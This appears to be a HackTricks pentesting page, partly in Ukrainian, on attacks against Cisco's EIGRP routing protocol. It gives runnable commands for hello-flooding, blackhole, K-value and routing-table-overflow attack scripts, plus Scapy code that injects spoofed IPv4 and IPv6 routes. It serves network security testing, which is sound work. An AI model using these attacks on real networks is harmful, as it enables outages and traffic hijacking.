EIGRP Attacks

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

This is a summary of the attacks exposed in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Check it for further information.

Fake EIGRP Neighbors Attack

  • Objective: Перевантажити CPU маршрутизаторів шляхом флуда їх пакетами EIGRP HELLO, що потенційно може призвести до Denial of Service (DoS).
  • Tool: helloflooding.py script.
  • Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters:
  • --interface: Вказує мережевий інтерфейс, наприклад eth0.
  • --as: Визначає номер автономної системи EIGRP, наприклад 1.
  • --subnet: Встановлює підмережу, наприклад 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objective: Порушити потік мережевого трафіку шляхом інжекції неправдивого маршруту, що призводить до чорної діри, куди трафік направляється у неіснуючу локацію.
  • Tool: routeinject.py script.
  • Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters:
  • --interface: Вказує інтерфейс системи атакуючого.
  • --as: Визначає номер AS EIGRP.
  • --src: Встановлює IP-адресу атакуючого.
  • --dst: Встановлює IP цільової підмережі.
  • --prefix: Визначає маску цільового IP.

Abusing K-Values Attack

  • Objective: Викликати постійні порушення і перепідключення всередині домену EIGRP шляхом інжекції змінених K-values, що фактично призводить до DoS.
  • Tool: relationshipnightmare.py script.
  • Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters:
  • --interface: Вказує мережевий інтерфейс.
  • --as: Визначає номер AS EIGRP.
  • --src: Встановлює IP-адресу легітимного маршрутизатора.

Routing Table Overflow Attack

  • Objective: Навантажити CPU та RAM маршрутизатора шляхом флуда таблиці маршрутизації великою кількістю фальшивих маршрутів.
  • Tool: routingtableoverflow.py script.
  • Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters:
  • --interface: Вказує мережевий інтерфейс.
  • --as: Визначає номер AS EIGRP.
  • --src: Встановлює IP-адресу атакуючого.

Protocol Notes Useful for Attacks

  • HELLO packets carry K-values and neighbors only form when they match. Це основа атак на невідповідність K-values/порушення відносин і пояснення, чому невідповідні K-values перешкоджають встановленню adjacency.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, тому пасивні перехоплення розкривають точні значення, що використовуються в сегменті.
  • EIGRP uses IP protocol 88, мультикастить на 224.0.0.10 в IPv4 і FF02::A в IPv6. Це робить його легким для виявлення через tcpdump 'ip proto 88 or ip6 proto 88' перед спробою активного зловживання.
  • Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. Сліпа multicast-інжекція маршрутів може спрацювати в слабких лабораторіях, але при емулюванні реального сусіда часто потрібно відстежувати seq, ack і список peer-ів, що переноситься в SEQUENCE TLVs, щоб залишатися синхронізованим з логікою RTP.

Passive Recon Before Injection

Before you try to inject routes, capture a legitimate HELLO / UPDATE exchange and extract:

  • AS number
  • K-values and Hold Time from the PARAMETER TLV
  • Authentication in use: none, MD5, or HMAC-SHA-256
  • Neighbor source address and the subnet/interface where EIGRP is active
  • Software / TLV profile (SOFTWARE_VERSION, STUB, SEQUENCE) so your crafted packets look like the local routers

Useful commands:

# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'

# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery

# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100

Nmap’s broadcast-eigrp-discovery працює шляхом відправки HELLO на 224.0.0.10 та розбору повернутих UPDATE-пакетів, що корисно для перерахування префіксів перед спробою більш інвазивного route injection.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy містить EIGRP contrib layer з TLVs, такими як EIGRPParam та EIGRPIntRoute, що достатньо для створення UPDATE-пакетів для route injection. Приклад адаптований з EIGRP route injection скрипта davidbombal/scapy:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

The same repo includes quick “fake neighbor” scripts that sniff a real EIGRP packet and replay it with a spoofed source IP to create phantom neighbors (useful for CPU/neighbor-table pressure).

Scapy also exposes primitives that are useful when you need higher-fidelity emulation instead of a single UPDATE:

  • EIGRPAuthData для аутентифікованих суміжностей
  • EIGRPSeq для обробки порядку/умовного прийому
  • EIGRPStub для відтворення спостережуваної поведінки stub
  • EIGRPv6IntRoute / EIGRPv6ExtRoute для ін’єкції маршрутів IPv6

Це важливо, оскільки логіка надійного транспорту часто відрізняє одноразовий PoC від fake neighbor, який протримається достатньо довго, щоб вивчити маршрути і отруїти топологію.

EIGRP for IPv6

EIGRP for IPv6 — це окрема адресна сім’я, яка транспортується поверх IPv6. Воно все ще використовує формат пакетів EIGRP / TLVs, але вмикається безпосередньо на інтерфейсах і мультикаститься на FF02::A. З точки зору нападника це означає, що двостековий сегмент може відкривати поверхню атаки EIGRP навіть коли IPv4-сторона виглядає чистою.

Важливі відмінності:

  • IPv6 EIGRP увімкнуто на кожному інтерфейсі (ipv6 eigrp <as>), а не за допомогою IPv4-подібних network statements.
  • Ідентифікатор маршрутизатора все ще потрібен, тож підслуховування активного сегмента зазвичай розкриває достатньо контексту, щоб імітувати дійсного сусіда.
  • MD5-аутентифікація існує для EIGRP for IPv6, і сучасні розгортання в режимі named mode також можуть використовувати HMAC-SHA-256, що блокує неавтентифіковану ін’єкцію маршрутів.

Мінімальний приклад Scapy для ін’єкції маршрутів IPv6:

from scapy.all import *
load_contrib("eigrp")

send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")

Якщо IPv6 next hop всередині route TLV обнулено, приймачі повертаються до IPv6 source address у заголовку пакета. Через це source spoofing та коректна link-local addressing особливо важливі під час тестування EIGRPv6.

  • Scapy EIGRP contrib документація: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Приклади скриптів: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy створює лабораторію віртуальних маршрутизаторів для атак (FRRouting + Scapy) і містить DRP-атаки, які можна адаптувати для тестів EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap’s NSE має невелику бібліотеку eigrp для парсингу/генерації підмножини пакетів EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Authentication Recon

  • EIGRP named mode підтримує HMAC-SHA-256 authentication через authentication mode hmac-sha-256 .... Якщо ввімкнено, спеціально сформовані пакети мають бути аутентифіковані правильним ключем; якщо не ввімкнено, spoofing/injection простіше підтвердити.
  • RFC 7868 також визначає як MD5 так і SHA2-256 authentication data всередині EIGRP AUTH TLV, тому пасивні захоплення швидко покажуть, чи реалізовний blind spoof, або чи спочатку потрібен key material.
  • На EIGRP для IPv6 Cisco також підтримує MD5 authentication with key chains. Якщо налаштовано декілька ключів зі строками дії send/accept, відтворення застарілого аутентифікованого трафіку стає менш надійним, оскільки активний ключ може змінитися без зміни решти профілю adjacency.

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks